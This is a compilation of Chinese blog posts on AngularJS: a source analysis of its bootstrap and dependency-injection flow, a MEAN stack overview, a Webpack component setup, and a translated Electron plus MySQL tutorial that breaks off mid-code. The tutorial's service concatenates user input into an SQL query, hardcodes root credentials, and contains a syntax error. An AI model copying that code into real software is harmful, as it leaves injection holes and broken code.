('$provide','provider',['$window',function($window){}]) push进invokeQueue数组中，注意此处只是入队操作，并未执行。在后面执行时，实际上市通过 第一个参数调用第二个参数方法名，把第三个参数当变量传入，即：args[0][args[1]].apply(args[0],args[2]);具体后面会分析到。


注意：上面提到api，run比较特殊，只把block放入到runBlock中，并没有放入invokeQueue中。


20125，domready后调用angularInit


function angularInit(element, bootstrap) {
  var elements = [element],
      appElement,
      module,
      names = ['ng:app', 'ng-app', 'x-ng-app', 'data-ng-app'],
      NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;

  function append(element) {
    element && elements.push(element);
  }

  forEach(names, function(name) {
    names[name] = true;
    append(document.getElementById(name));
    name = name.replace(':', '\\:');
    if (element.querySelectorAll) {
      forEach(element.querySelectorAll('.' + name), append);
      forEach(element.querySelectorAll('.' + name + '\\:'), append);
      forEach(element.querySelectorAll('[' + name + ']'), append);
    }
  });

  forEach(elements, function(element) {
    if (!appElement) {
      var className = ' ' + element.className + ' ';
      var match = NG_APP_CLASS_REGEXP.exec(className);
      if (match) {
        appElement = element;
        module = (match[2] || '').replace(/\s+/g, ',');
      } else {
        forEach(element.attributes, function(attr) {
          if (!appElement && names[attr.name]) {
            appElement = element;
            module = attr.value;
          }
        });
      }
    }
  });
  if (appElement) {
    bootstrap(appElement, module ? [module] : []);
  }
}



遍历names，通过document.getElementById(name) 或者是querySelectorAll(name)检索到 element后存入 elements数组中，最后获取到appElement以及module。举个例子：我们一般会在文档开始的html标签上写 ng-app="myApp".通过以上方法，我们最后可以得到 名为myApp的module，后调用bootstrap(appElement,[module]);


bootstrap中需要重点关注 doBootstrap方法


var doBootstrap = function() {
    element = jqLite(element);

    if (element.injector()) {
      var tag = (element[0] === document) ? 'document' : startingTag(element);
      throw ngMinErr('btstrpd', "App Already Bootstrapped with this Element '{0}'", tag);
    }
    //通过上面分析我们知道此时 modules 暂时是这样的： modules = ['myApp'];
    modules = modules || [];
    //添加$provide这个数组
    modules.unshift(['$provide', function($provide) {
      $provide.value('$rootElement', element);
    }]);
    //添加 ng这个 module ,注意：1857行  我们注册过ng 这个module，并在1854行 我们注册过 它的依赖模块'ngLocale'，
    //angularModule('ngLocale', []).provider('$locale', $LocaleProvider); 我们注册过ngLocale这个module
    modules.unshift('ng');
    //调用createInjector(module) 此时：module为：
    //['ng',['$provide',function(){}],'myApp']  两个type为string，一个为array
    var injector = createInjector(modules);
    injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector', '$animate',
       function(scope, element, compile, injector, animate) {
        scope.$apply(function() {
          element.data('$injector', injector);
          compile(element)(scope);
        });
      }]
    );
    return injector;
};



createInjector是重点，拿出来单独分析


function createInjector(modulesToLoad) {
  var INSTANTIATING = {},
      providerSuffix = 'Provider',
      path = [],
      loadedModules = new HashMap(),
      providerCache = {
        $provide: {
            provider: supportObject(provider),
            factory: supportObject(factory),
            service: supportObject(service),
            value: supportObject(value),
            constant: supportObject(constant),
            decorator: decorator
          }
      },
      providerInjector = (providerCache.$injector =
          createInternalInjector(providerCache, function() {
            throw $injectorMinErr('unpr', "Unknown provider: {0}", path.join(' <- '));
          })),
      instanceCache = {},
      instanceInjector = (instanceCache.$injector =
          createInternalInjector(instanceCache, function(servicename) {
            var provider = providerInjector.get(servicename + providerSuffix);
            return instanceInjector.invoke(provider.$get, provider);
          }));


  forEach(loadModules(modulesToLoad), function(fn) { instanceInjector.invoke(fn || noop); });

  return instanceInjector;
  /**
  ...省略若干
  **/



主要是四个变量：



	providerCache

	providerInjector

	instanceCache

	instancheInjector



providerCache初始化只有一个对象 providerCache = { $provide:{}} ,紧接着调用createInternalInjector 方法返回一个若干重两级api（annotate，get等）赋值给providerCache.$injector以及provoderInjector.则结果就变成这样了：


providerCache = {
        $provide: {
            provider: supportObject(provider),
            factory: supportObject(factory),
            service: supportObject(service),
            value: supportObject(value),
            constant: supportObject(constant),
            decorator: decorator
          }
      },
      $injector:{
          get:getService,
          annotate:annotate,
          instantiate:instantiate,
          invoke:invoke,
          has:has
      }
}



而providerInjector变成了这样：


providerInjector：{
      nvoke: invoke,
      instantiate: instantiate,
      get: getService,
      annotate: annotate,
      has: has
}



同样，instanceCache和instanceInjector变成：


instanceCache：{
      $injector:{
          invoke: invoke,
          instantiate: instantiate,
          get: getService,
          annotate: annotate,
          has: has
      }
}


instanceInjector = {
      invoke: invoke,
      instantiate: instantiate,
      get: getService,
      annotate: annotate,
      has: has
}



两个重要方法：



	loadModules

	createInternalInjector



function loadModules(modulesToLoad){
    //刚才说了，modulesToLoad长这样：['ng',['$provider',function(){}], 'myApp']
    forEach(modulesToLoad, function(module) {
        if (isString(module)) {
             // module为字符串时进入此判断。
　　　　　　　moduleFn = angularModule(module);
            //迭代，把所有依赖模块的runBlocks都取出
            runBlocks = runBlocks.concat(loadModules(moduleFn.requires)).concat(moduleFn._runBlocks);
            //前面已经提到，每个module下有个_invokeQueue存了一堆controller，service之类东西，现在就可以遍历拿出来运行啦
            for(invokeQueue = moduleFn._invokeQueue, i = 0, ii = invokeQueue.length; i < ii; i++) {
                //还记得我刚才说了具体怎么调用的把：第一个参数调用名为第二个参数的方法，传入第三个参数
                var invokeArgs = invokeQueue[i],
                    provider = providerInjector.get(invokeArgs[0]);
                provider[invokeArgs[1]].apply(provider, invokeArgs[2]);
            }
        }else if(isFunction(module)){
            //这个我还没找到…………
        }else if(isArray(module)){
             //这里就是第二参数的情形了，用invoke方法执行后将结果存到runBlocks
            runBlocks.push(providerInjector.invoke(module));
        }
    }
    return runBlocks;
}



重量级函数createInternalInjector 闪亮登场,正是因为有这个函数，才能实现那么优雅的DI。


function createInternalInjector (){

    function getService(serviceName) {};

    function invoke(fn, self, locals){};

    function instantiate(Type, locals) {};

    return {
      invoke: invoke,
      instantiate: instantiate,
      get: getService,
      annotate: annotate,
      has: function(name) {
        //
      }
    };
}



这么重要的函数实际上是一个工厂，最后返回五个方法。下面一一分析：


*annotate，只获取依赖注入列表


function annotate(fn) {
  var $inject,
      fnText,
      argDecl,
      last;

  if (typeof fn == 'function') {
    if (!($inject = fn.$inject)) {
      $inject = [];
      if (fn.length) {
        fnText = fn.toString().replace(STRIP_COMMENTS, '');
        argDecl = fnText.match(FN_ARGS);
        forEach(argDecl[1].split(FN_ARG_SPLIT), function(arg){
          arg.replace(FN_ARG, function(all, underscore, name){
            $inject.push(name);
          });
        });
      }
      fn.$inject = $inject;
    }
  } else if (isArray(fn)) {
    last = fn.length - 1;
    assertArgFn(fn[last], 'fn');
    $inject = fn.slice(0, last);
  } else {
    assertArgFn(fn, 'fn', true);
  }
  return $inject;
}



传参有两种形式，1.annotate(fn(injectName)) 以及 2.annotate([injectName,function(){}]).分别进入代码中的两个判断，如果是只传了fn,且fn有参数，则利用fn.toString返回函数体本身，再通过正则取出injectName数组添加到fn.$inject上。 如果通过第二方式调用，取出所有$inject数组



	
invoke,通过annoate取出依赖注入，将依赖注入为参数调用函数体。如：xx.invoke(function($window){});


function invoke(fn, self, locals){
      var args = [],
          $inject = annotate(fn),
          length, i,
          key;

      for(i = 0, length = $inject.length; i < length; i++) {
        key = $inject[i];
        if (typeof key !== 'string') {
          throw $injectorMinErr('itkn',
                  'Incorrect injection token! Expected service name as string, got {0}', key);
        }
        args.push(
          locals && locals.hasOwnProperty(key)
          ? locals[key]
          : getService(key)
        );
    //省略若干
    //switch做了优化处理，罗列了一些常见的参数个数

   switch (self ? -1 : args.length) {
        case  0: return fn();
        //省略若干
}




	instantiate 此函数比较特殊，也比较有用，但一般不直接用，隐藏较深。




我们考虑这样一种情况，一般较创建的写法。


app.provider('myProvider',function(){ 
    //do something  
    this.$get = function(){
        return obj;
    }
});



假如我们想要在angular中用一些设计模式，我们换一种写法：


app.provider('myProvider',myProvider);

    function myProvider(){
       BaseClass.apply(this,arguments);
    }
    unit.inherits(BaseClass,myProvider);
    extend(myProvider,{
       $get:function(){
            return something
       }
    });



这样也可以实现我们需要的，而且可扩展。但如果我们没有了解过instantiate这个方法，你看到此写法会觉得疑惑不解。


instantiate(Type,locals)方法创建了一个空的构造函数，并继承自传入的Type，然后实例化得到instance,最后在调用invoke函数。


万事俱备，只欠东风


做了这么多准备，各种provider也有了，我们需要在页面上展示效果了


injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector', '$animate',
   function(scope, element, compile, injector, animate) {
    scope.$apply(function() {
      element.data('$injector', injector);
      compile(element)(scope);
    });
  }]
);



通过$apply将作用域转入angular作用域，所谓angular作用域是指：angular采用dirity-check方式进行检测，达到双向绑定。


再利用compile函数编译整个页面文档，识别出directive，按照优先级排序，执行他们的compilie函数，最后返回link function的结合。通过scope与模板连接起来，形成一个即时，双向绑定。这个过程后续再分析。


到此，执行流程也就都出来了。


收藏自angularjs源码分析之：angularjs执行流程


 全栈工程师的武器——MEAN

作者：江小湖Laker

来源： 全栈工程师的武器——MEAN



                    
JavaScript自1995年发布以来，走过了漫长的道路。已经有了几个主要版本的ECMAScript规范，单页Web应用程序也慢慢兴起，还有支持客户端的JavaScript框架。作为一个被绝大多数浏览器支持前台脚本语言，它对浏览器的创新做出了很大的贡献。JavaScript许多很有用的特点（它是无阻塞是，它是事件驱动的，很多程序员熟悉它）可以在浏览器之外的环境中加以利用。这推动了JavaScript社区新一轮的创新，让JavaScript能在服务器和数据库中运行。


一下子，JavaScript工程师认为自己不只是“Web前端开发者”了。如果你对语言很熟悉，就可以自己搭建服务器和数据库。除了交互设计，开发者可以只用JavaScript就能做出一个完整的web应用，这在JavaScript史上是第一次。这种趋势被称为“全栈的JavaScript”或“纯JavaScript的解决方案”。它包含了JavaScript的四种流行技术：MongoDB、Express、AngularJS、和 Node.js。这四种技术越来越流行，它们合称为MEAN Stack。





MongoDB


MongoDB也就是常说的NoSQL数据库。可以认为它是文档结构的数据库，而不是由行、列、表组成的数据库。基本的用法是存储JSON数据，这很适合JavaScript程序。它是非关系型、非事务要求严格的系统，所以它很快、可扩展性和易用性强。


Express


Express是一个小型的web服务器框架，能使Node开发的web服务器更易开发和维护。Express有很高的定制性，它能简单快速地使用路由请求、cookie管理、一个静态文件服务器和很多企业级网络服务器所需要HTTP模块。


AngularJS


Angular是一个功能丰富的客户端MVC JavaScript框架。它可用于开发复杂的单页Web应用程序。它具有内置的双向数据绑定功能和它自己的基于HTML的模板。它有个特性称为“directives”，允许开发者给HTML拓展新属性、新元素。Angular也是高度可测试的，这是很重要的。Angular为开发客户端提供了公约和最佳解决方案。


Node


Node基于JavaScript，用于建立服务器和网络应用。它提供所有JavaScript的特性，并外加文件操作、网络I/O的功能。它使用谷歌的V8引擎（与谷歌浏览器中使用的相同）来执行JavaScript。它拥有很活跃的开发者社区和Node模块生态圈（Express是其中一个模块）。虽有JavaScript有其他实现服务器端的方法，但Node是目前个人级和企业级最好的开发方案。


如果你是JavaScript的粉丝，你应该会对只用JavaScript就能开发一个完整的web应用感到兴奋。MEAN Stack是一个很热门的话题，网上有很多关于学习它们的讨论，可以去尝试学习一下。


英文原文 Full Stack JavaScript Development With MEAN

由SegmentFault整理编译


 Webpack + Angular的组件化实践

作者：王伟嘉

来源： Webpack + Angular的组件化实践



                    
最近写复旦二手平台的时候开始尝试用一直推崇了很久的组件化。经过一番抉择之后选择了 webpack + angular 的组合。所以在这里分享一下具体的实践流程。



Webpack

Webpack是目前比较流行的前端打包工具，它同时支持AMD、CMD两种模块写法，也原生支持npm或者bower安装的模块。它还能给css、scss、less、coffeescript、es6、图片、html以及诸如jade、ejs的模板打包。

所以有什么卵用呢？

简单地说就是，

1、原来你需要在<script>中引入angular或者其他的npm模块（有些npm模块甚至没有提供可以直接在浏览器端引用的js文件），现在只需要：

npm install angular

然后在app.js中：

angular = require('angular');
var app = angular.module('myApp',[]);

然后执行

webpack app.js bundle.js

webpack会自动分析依赖，然后编译，这样bundle.js就是你想要的东西了。

2、组件化的时候你要在页面中引入一大堆东西，比如这样：

<!--index.html-->
<script type="text/javascript" src="header.js">
<script type="text/javascript" src="tab.js">
<script type="text/javascript" src="waterfoo.js">
<link rel="stylesheet" type="text/css" href="header.css">
<link rel="stylesheet" type="text/css" href="tab.css">
<link rel="stylesheet" type="text/css" href="waterfoo.css">


当然你可能不会用如此傻的方式引入组件，但如果用了webpack之后只需要这样：

//index-bundle.js
require('header.js');
require('header.scss');
require('tab.js');
require('tab.scss');
require('waterfoo.js');
require('waterfoo.scss');

然后在index.html中引入打包好的js即可（没错连scss都给你打包好了/w\ 它甚至还能把图片打包成base64，然后替换所有url）：

<!--index.html-->
<script type="text/javascript" src="bundle.js">

上面只是最基础的用法，所以有些人可能要吐槽这不是browserify也能干么/w\ 可以看看这篇文章[《用webpack来取代browserify》
](http://segmentfault.com/a/1190000002490637)，以及webpack还有很多酷炫的功能这里就不再赘述。



项目实践流程

回到正题吧，复旦二手平台这个项目更像是多页面的网站而不是单页面的web应用，所以我决定尝试用node去写一个渲染层（个人感觉Koajs目前还不太成熟，所以选用了Express4.0），这样后台写JAVA的同学就只需要给我提供数据API就行了，把数据库接口化。

渲染引擎用的是jade，而angular的角色更像是一个页面的“控制器”，控制由jade生成的页面，而不是去自行加载html自行渲染（说白了就是放弃了用angular渲染页面）。

Webpack和Angular的结合

Angular自带了Module以及Directive机制，但Angular1.x版本下，我觉得这些机制不太适合做这种多页面网站的组件化，而且也违背了选用jade渲染的初衷。

Angular自己有自己独特的依赖注入以及模块声明方式，看起来似乎和Webpack是水火不容的，但事实上他们完全可以融合。只需要多几行代码：

主文件app.js大概长这样：

var angular = require('angular');
var starkAPP = angular.module('starkAPP', [
]);
module.exports = starkAPP;


注意到我们在这里把starkAPP作为模块的接口暴露出去，然后我们就可以这样写controller：

//someController.js
var starkAPP = require('./app.js');
starkAPP.controller('someController', ['$scope', function($scope) {
    //...
}])

运行一下webpack someController.js bundle.js 即生成了一个可以使用的bundle.js。

当然如果你有一堆controller、directive、service，最好用个main.js全部声明一下依赖：

//main.js
require('./Controller1');
require('./Controller2');
require('./Controller3');
require('./Service');
require('./Directive');

目录结构设计

这里我只放了浏览器端的文件结构，整个的项目结构可以看这里

|package.json 存放npm相关的配置

|gulpfile.js gulp的配置文件

|webpack.config.js 存放webpack相关的配置

|build 存放构建完毕的资源文件

|node_modules 不解释了= =

|src 源代码

    └── components 组件
    
         ├── angular angular组件，比如各种directive、service
    
         ├── base 需要全站引入的组件，比如reset.css
    
         └── header 头部组件
         
              ├── header.jade

             ├── header.scss
             
             └── header.js
             
     └── pages 页面定义文件
     
         └──  index 首页配置文件
         
              ├── index.js
              
              └── index.scss
              
     └── template 提供给node渲染的jade模板
     
          └── index.jade 首页模板

看文件结构绝对是云里雾里的，下面详细说明：

1、首先这是首页的模板index.jade

html(ng-app="starkAPP")
    head
        link(rel='stylesheet',href='/static/css/index.css')
        script(type='text/javascript',src='/static/js/index.bundle.js')
    body(ng-view)
        include ../components/header/header.jade

注意到我们引入了header的jade，以及两个文件index.css和index.bundle.js

2、index.css是啥？

它是pages/index/里面的index.scss编译成的：

// pages/index/index.scss
@import '../../components/header/header';
@import '../../components/base/base';

注意到我们在这里引入了header.scss

3、index.bundle.js是啥？

它是pages/index/里面的index.js经过webpack打包成的东西

// pages/index/index/js
require('../../components/angular/app.js');
require('../../components/header/header.js');


我们在这里引入了angular以及header.js

总之，pages下面放的就是各个页面的组件依赖文件

比如我的首页index依赖了一个组件header，那么我需要在index.js和index.scss中声明我依赖了header.js以及header.scss

其实用webpack打包的话，只需要一个定义文件就可以同时打包js和scss，但我还不太确定webpack打包scss这种方法是否成熟。

项目构建

自动构建工具我选择了gulp全家桶，简单地说就是读取src/pages/[page-name]下面所有的js、scss文件，把他们编译到对应的build/[page-name]下面，并且监听文件变化以便热替换。

这是我的gulpfile.js:

var gulp = require('gulp');
var sass = require('gulp-sass'),
    autoprefixer = require('gulp-autoprefixer'),
    minifycss = require('gulp-minify-css'),
    uglify = require('gulp-uglify'),
    clean = require('gulp-clean'),
    webpack = require('gulp-webpack');
var webpackConfig = require('./webpack.config');
gulp.task('default', ['clean', 'watch', 'sass:watch', 'sass', 'webpack']);

gulp.task('sass:watch', function() {
    gulp.watch('src/pages/*/*.scss', ['sass']);
    gulp.watch('src/components/*/*.scss', ['sass']);
});
gulp.task('sass', function() {
    gulp.src(['src/pages/**/*.scss'])
        .pipe(sass.sync().on('error', sass.logError))
        .pipe(minifycss())
        .pipe(gulp.dest('build/pages'));
});
gulp.task('clean', function() {
    return gulp.src(['build/pages'], {
            read: false
        })
        .pipe(clean());
});
gulp.task("webpack", function() {
    return gulp
        .src('./')
        .pipe(webpack(webpackConfig))
        //.pipe(uglify())
        .pipe(gulp.dest('./build/pages'));
});
gulp.task('watch', function() {
    gulp.watch('src/components/*/*.js', ['webpack']);
    gulp.watch('src/pages/*/*.js', ['webpack']);
});


以及简化后的webpack.config.js：

module.exports = {
    entry: {
        'index/index': './src/pages/index/index.js'
    },
    output: {
        filename: '[name].bundle.js'
    }
};


怎么写一个组件？

比如现在我们要写一个waterfoo（瀑布流）组件

首先我们在src/components/下面新建一个文件夹waterfoo ，然后建立


	waterfoo.jade


	waterfoo.scss


	waterfoo.js




分别对应waterfoo组件的模板、样式、以及行为，当然waterfoo组件完全可以依赖其他更低层级组件，只需要在相应的文件中声明依赖即可。

怎么在页面中加入组件？

比如现在我们要把waterfoo（瀑布流）组件加到首页index中

首先在src/template/index.jade中引入模板：

include ../components/waterfoo/waterfoo.jade

然后在src/pages/index/下面的index.js、index.scss配置依赖：

//index.js
require('../../components/waterfoo/waterfoo');

//index.scss
@import '../../components/waterfoo/waterfoo';

有更优雅更傻瓜的方法吗？

当然有，未来的期望是用webpack把js和scss一起打包，并且把template和pages文件夹合并（具体配置express渲染路径的方法我还在探索），大概就是这样的效果：

src/pages/index/下面放着首页的配置文件：


	index.jade


	index-config.js


	index.scss （一些非组件的样式）




index.jade是模板

html(ng-app="starkAPP")
   head
       script(type='text/javascript',src='/static/js/index.bundle.js')
   body(ng-view)
       include ../components/header/header.jade

index-config.js声明依赖的组件

require('../../components/angular/app.js');
require('../../components/header/header.js');
require('../../components/header/header.scss');
require('../../components/waterfoo/waterfoo.js');
require('../../components/waterfoo/waterfoo.scss');
require('./index.scss');

-------

最后

这个项目的源码在Github · starkwang/FDSHM，FDSHM是Fudan Secondhand Market的缩写/w\，现在还在慢慢地写组件中，争取这学期上线吧……（缺人啊QAQ）


 【译】使用 AngularJS 和 Electron 构建桌面应用

作者：PuYart

来源： 【译】使用 AngularJS 和 Electron 构建桌面应用



                    
原文：Creating Desktop Applications With AngularJS and GitHub Electron



GitHub 的 Electron 框架（以前叫做 Atom Shell）允许你使用 HTML, CSS 和 JavaScript 编写跨平台的桌面应用。它是 io.js 运行时的衍生，专注于桌面应用而不是 web 服务端。

Electron 丰富的原生 API 使我们能够在页面中直接使用 JavaScript 获取原生的内容。

这个教程向我们展示了如何使用 Angular 和 Electron 构建一个桌面应用。下面是本教程的所有步骤：


	创建一个简单的 Electron 应用


	使用 Visual Studio Code 编辑器管理我们的项目和任务


	使用 Electron 开发（原文为 Integrate）一个 Angular 顾客管理应用（Angular Customer Manager App）


	使用 Gulp 任务构建我们的应用，并生成安装包




创建你的 Electron 应用

起初，如果你的系统中还没有安装 Node，你需要先安装它。我们应用的结构如下所示：



这个项目中有两个 package.json 文件。


	开发使用
项目根目录下的 package.json 包含你的配置，开发环境的依赖和构建脚本。这些依赖和 package.json 文件不会被打包到生产环境构建中。


	应用使用
app 目录下的 package.json 是你应用的清单文件。因此每当在你需要为你项目安装 npm 依赖的时候，你应该依照这个 package.json 来进行安装。




package.json 的格式和 Node 模块中的完全一致。你应用的启动脚本（的路径）需要在 app/package.json 中的 main 属性中指定。

app/package.json 看起来是这样的：

{
  name: "AngularElectron", 
  version: "0.0.0", 
  main: "main.js" 
}

过执行 npm init 命令分别创建这两个 package.json 文件，也可以手动创建它们。通过在命令提示行里键入以下命令来安装项目打包必要的 npm 依赖：

npm install --save-dev electron-prebuilt fs-jetpack asar rcedit Q

创建启动脚本

app/main.js 是我们应用的入口。它负责创建主窗口和处理系统事件。main.js 应该如下所示：

// app/main.js

// 应用的控制模块
var app = require('app'); 

// 创建原生浏览器窗口的模块
var BrowserWindow = require('browser-window');
var mainWindow = null;

// 当所有窗口都关闭的时候退出应用
app.on('window-all-closed', function () {
  if (process.platform != 'darwin') {
    app.quit();
  }
});

// 当 Electron 结束的时候，这个方法将会生效
// 初始化并准备创建浏览器窗口
app.on('ready', function () {

  // 创建浏览器窗口.
  mainWindow = new BrowserWindow({ width: 800, height: 600 });

  // 载入应用的 index.html
  mainWindow.loadUrl('file://' + __dirname + '/index.html');

  // 打开开发工具
  // mainWindow.openDevTools();
  // 窗口关闭时触发
  mainWindow.on('closed', function () {

    // 想要取消窗口对象的引用，如果你的应用支持多窗口，
    // 通常你需要将所有的窗口对象存储到一个数组中，
    // 在这个时候你应该删除相应的元素
    mainWindow = null;
  });
  
});

通过 DOM 访问原生

正如我上面提到的那样，Electron 使你能够直接在 web 页面中访问本地 npm 模块和原生 API。你可以这样创建 app/index.html 文件：

<html>
<body> 
  <h1>Hello World!</h1>
  We are using Electron 
  <script>  document.write(process.versions['electron']) </script>
  <script> document.write(process.platform) </script>
  <script type="text/javascript"> 
     var fs = require('fs');
     var file = fs.readFileSync('app/package.json'); 
     document.write(file); 
  </script>
</body> 
</html>

app/index.html 是一个简单的 HTML 页面。在这里，它通过使用 Node’s fs (file system) 模块来读取 package.json 文件并将其内容写入到 document body 中。

运行应用

一旦你创建好了项目结构、app/index.html、app/main.js 和 app/package.json，你很可能想要尝试去运行初始的 Electron 应用来测试并确保它正常工作。

如果你已经在系统中全局安装了 electron-prebuilt，就可以通过下面的命令启动应用：

electron app

在这里，electron 是运行 electron shell 的命令，app 是我们应用的目录名。如果你不想将 Election 安装到你全局的 npm 模块中，可以在命令提示行中通过下面命令使用本地 npm_modules 文件夹下的 electron 来启动应用。

"node_modules/.bin/electron" "./app" 

尽管你可以这样来运行应用，但是我还是建议你在 gulpfile.js 中创建一个 gulp task，这样你就可以将你的任务和 Visual Studio Code 编辑器相结合，我们会在下一部分展示。

// 获取依赖
var gulp        = require('gulp'), 
  childProcess  = require('child_process'), 
  electron      = require('electron-prebuilt');

// 创建 gulp 任务
gulp.task('run', function () { 
  childProcess.spawn(electron, ['./app'], { stdio: 'inherit' }); 
});

运行你的 gulp 任务：gulp run。我们的应用看起来会是这个样子：



配置 Visual Studio Code 开发环境

Visual Studio Code 是微软的一款跨平台代码编辑器。VS Code 是基于 Electron 和 微软自身的 Monaco Code Editor 开发的。你可以在这里下载到 Visual Studio Code。

在 VS Code 中打开你的 electron 应用。



配置 Visual Studio Code Task Runner

有很多自动化的工具，像构建、打包和测试等。我们大多从命令行中运行这些工具。VS Code task runner 使你能够将你自定义的任务集成到项目中。你可以在你的项目中直接运行 grunt,、gulp,、MsBuild 或者其他任务，这并不需要移步到命令行。

VS Code 能够自动检测你的 grunt 和 gulp 任务。按下 ctrl + shift + p 然后键入 Run Task 敲击回车便可。



你将从 gulpfile.js 或 gruntfile.js 文件中获取所有有效的任务。

注意：你需要确保 gulpfile.js 文件存在于你应用的根目录下。





ctrl + shift + b 会从你任务执行器（task runner）中执行 build 任务。你可以使用 task.json 文件来覆盖任务集成。按下 ctrl + shift + p 然后键入 Configure Task 敲击回车。这将会在你项目中创建一个 .setting 的文件夹和 task.json 文件。要是你不止想要执行简单的任务，你需要在 task.json 中进行配置。例如你或许想要通过按下 Ctrl + Shift + B 来运行应用，你可以这样编辑 task.json 文件：

{ 
  "version": "0.1.0", 
  "command": "gulp", 
  "isShellCommand": true, 
  "args": [ "--no-color" ], 
  "tasks": [ 
    { 
      "taskName": "run", 
      "args": [], 
      "isBuildCommand": true 
    } 
  ] 
} 

根部分声明命令为 gulp。你可以在 tasks 部分写入你想要的更多任务。将一个任务的 isBuildCommand 设置为 true 意味着它和 Ctrl + Shift + B 进行了绑定。目前 VS Code 只支持一个顶级任务。

现在，如果你按下 Ctrl + Shift + B，gulp run 将会被执行。

你可以在这里阅读到更多关于 visual studio code 任务的信息。

调试 Electron 应用

打开调试面板点击配置按钮就会在 .settings 文件夹内创建一个 launch.json 文件，包含了调试的配置。



我们不需要启动 app.js 的配置，所以移除它。

现在，你的 launch.json 应该如下所示：

{ 
  "version": "0.1.0", 
  // 配置列表。添加新的配置或更改已存在的配置。
  // 仅支持 "node" 和 "mono"，可以改变 "type" 来进行切换。
  "configurations": [
    { 
      "name": "Attach", 
      "type": "node", 
      // TCP/IP 地址. 默认是 "localhost"
      "address": "localhost", 
      // 建立连接的端口.
      "port": 5858, 
      "sourceMaps": false 
     } 
   ] 
}

按照下面所示更改之前创建的 gulp run 任务，这样我们的 electron 将会采用调试模式运行，5858 端口也会被监听。

gulp.task('run', function () { 
  childProcess.spawn(electron, ['--debug=5858','./app'], { stdio: 'inherit' }); 
}); 

在调试面板中选择 “Attach” 配置项，点击开始（run）或者按下 F5。稍等片刻后你应该就能在上部看到调试命令面板。



创建 AngularJS 应用

第一次接触 AngularJS？浏览官方网站或一些 Scotch Angular 教程。

这一部分会讲解如何使用 AngularJS 和 MySQL 数据库创建一个顾客管理（Customer Manager）应用。这个应用的目的不是为了强调 AngularJS 的核心概念，而是展示如何在 GiHub 的 Electron 中同时使用 AngularJS 和 NodeJS 以及 MySQL 。

我们的顾客管理应用正如下面这样简单：


	顾客列表


	添加新顾客


	选择删除一个顾客


	搜索指定的顾客




项目结构

我们的应用在 app 文件夹下，目录结构如下所示：



主页是 app/index.html 文件。app/scripts 文件夹包含所有用在该应用中的关键脚本和视图。有许多方法可以用来组织应用的文件。

这里我更喜欢按照功能来组织脚本文件。每个功能都有它自己的文件夹，文件夹中有模板和控制器。获取更多关于目录结构的信息，可以阅读 AngularJS 最佳实践: 目录结构

在开始 AngularJS 应用之前，我们将使用 bower 安装客户端方面的依赖。如果你还没有 Bower  先要安装它。在命令提示行中将当前工作目录切换至你应用的根目录，然后依照下面的命令安装依赖。

bower install angular angular-route angular-material --save 

设置数据库

在这个例子中，我将使用一个名字为 customer-manager 的数据库和一张名字为 customers 的表。下面是数据库的导出文件，你可以依照这个快速开始。


CREATE TABLE `customer_manager`.`customers` ( 
  `customer_id` INT NOT NULL AUTO_INCREMENT, 
  `name` VARCHAR(45) NOT NULL, 
  `address` VARCHAR(450) NULL, 
  `city` VARCHAR(45) NULL, 
  `country` VARCHAR(45) NULL, 
  `phone` VARCHAR(45) NULL, 
  `remarks` VARCHAR(500) NULL, PRIMARY KEY (`customer_id`) 
);

创建一个 Angular Service 和 MySQL 进行交互

一旦你的数据库和表都准备好了，就可以开始创建一个 AngularJS service 来直接从数据库中获取数据。使用  node-mysql  这个 npm 模块使 service 连接数据库——一个使用 JavaScript 为 NodeJs 编写的 MySQL 驱动。在你 Angular 应用的 app/ 目录下安装 node-mysql 模块。

注意：我们将 node-mysql 模块安装到 app 目录下而不是应用的根目录，是因为我们需要在最终的 distribution 中包含这个模块。



在命令提示行中切换工作目录至 app 文件夹然后按照下面所示安装模块：

npm install --save mysql 

我们的 angular service —— app/scripts/customer/customerService.js 如下所示：

(function () {
    'use strict';
    var mysql = require('mysql');

    // 创建 MySql 数据库连接
    var connection = mysql.createConnection({
        host: "localhost",
        user: "root",
        password: "password",
        database: "customer_manager"
    });
    
    angular.module('app')
        .service('customerService', ['$q', CustomerService]);

    function CustomerService($q) {
        return {
            getCustomers: getCustomers,
            getById: getCustomerById,
            getByName: getCustomerByName,
            create: createCustomer,
            destroy: deleteCustomer,
            update: updateCustomer
        };

        function getCustomers() {
            var deferred = $q.defer();
            var query = "SELECT * FROM customers";
            connection.query(query, function (err, rows) {
                if (err) deferred.reject(err);
                deferred.resolve(rows);
            });
            return deferred.promise;
        }   

        function getCustomerById(id) {
            var deferred = $q.defer();
            var query = "SELECT * FROM customers WHERE customer_id = ?";
            connection.query(query, [id], function (err, rows) {
                if (err) deferred.reject(err);
                deferred.resolve(rows);
            });
            return deferred.promise;
        }     

        function getCustomerByName(name) {
            var deferred = $q.defer();
            var query = "SELECT * FROM customers WHERE name LIKE  '" + name + "%'";
            connection.query(query, [name], function (err, rows) {
                if (err) deferred.reject(err);
                deferred.resolve(rows);
            });
            return deferred.promise;
        }

        function createCustomer(customer) {
            var deferred = $q.defer();
            var query = "INSERT INTO customers SET ?";
            connection.query(query, customer, function (err, res) 
                if (err) deferred.reject(err);
                deferred.resolve(res.insertId);
            });
            return deferred.promise;
        }

        function deleteCustomer(id) {
            var deferred = $q.defer();
            var query = "DELETE FROM customers WHERE customer_id = ?";
            connection.query(query, [id], function (err, res) {
                if (err) deferred.reject(err);
                deferred.resolve(res.affectedRows);
            });
            return deferred.promise;
        }     

        function updateCustomer(customer) {
            var deferred = $q.defer();
            var query = "UPDATE customers SET name = ? WHERE customer_id = ?";
            connection.query(query, [customer.name, customer.customer_id], function (err, res) {
                if (err) deferred.reject(err);
                deferred.resolve(res);
            });
            return deferred.promise;
        }
    }
})();

customerService 是一个简单的自定义 angular service，它提供了对表 customers 的基础 CRUD 操作。直接在 service 中使用了 node 模块 mysql。如果你已经拥有了一个远程的数据服务，你也可以使用它来替代之。

控制器 & 模板

app/scripts/customer/customerController 中的 customerController 如下所示：

(function () {
    'use strict';
    angular.module('app')
        .controller('customerController', ['customerService', '$q', '$mdDialog', CustomerController]);
        
    function CustomerController(customerService, $q, $mdDialog) {
        var self = this; 

        self.selected = null;
        self.customers = [];
        self.selectedIndex = 0;
        self.filterText = null;
        self.selectCustomer = selectCustomer;
        self.deleteCustomer = deleteCustomer;
        self.saveCustomer = saveCustomer;
        self.createCustomer = createCustomer;
        self.filter = filterCustomer;   

        // 载入初始数据
